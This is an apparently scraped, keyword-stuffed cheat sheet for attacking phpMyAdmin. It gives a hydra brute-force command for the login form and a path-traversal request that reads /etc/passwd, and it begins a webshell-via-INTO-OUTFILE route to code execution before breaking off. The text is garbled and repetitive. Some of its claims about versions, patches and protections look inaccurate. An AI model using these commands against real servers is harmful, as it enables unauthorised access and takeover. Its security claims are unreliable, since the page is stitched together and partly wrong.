Verified: Phpmyadmin Hacktricks
/var/lib/phpmyadmin/config.inc.php /etc/phpmyadmin/config.inc.php /usr/share/phpmyadmin/config.inc.php
hydra -l root -P /usr/share/wordlists/fasttrack.txt target http-post-form "/phpmyadmin/index.php:pma_username=^USER^&pma_password=^PASS^&server=1:token" Rate-limit warning: phpMyAdmin 5.0+ introduces brute-force protection via $cfg['LoginCookieValidity'] , but default is 1800 seconds – still bypassable with slow brute force. In phpMyAdmin 4.8.0–4.8.4, an LFI vulnerability allowed attackers to read arbitrary files without logging in. phpmyadmin hacktricks verified
POST /phpmyadmin/index.php?target=db_sql.php%253f/../../../../../../etc/passwd Improper sanitization of the target parameter. Patched in 4.8.5. Test instances still exist. Part 3: Post-Authentication to Remote Code Execution (RCE) Once logged in, the game is over for the server. 3.1 Into Outfile Method (Most Reliable) If the database user has FILE privilege, you can write a webshell. /var/lib/phpmyadmin/config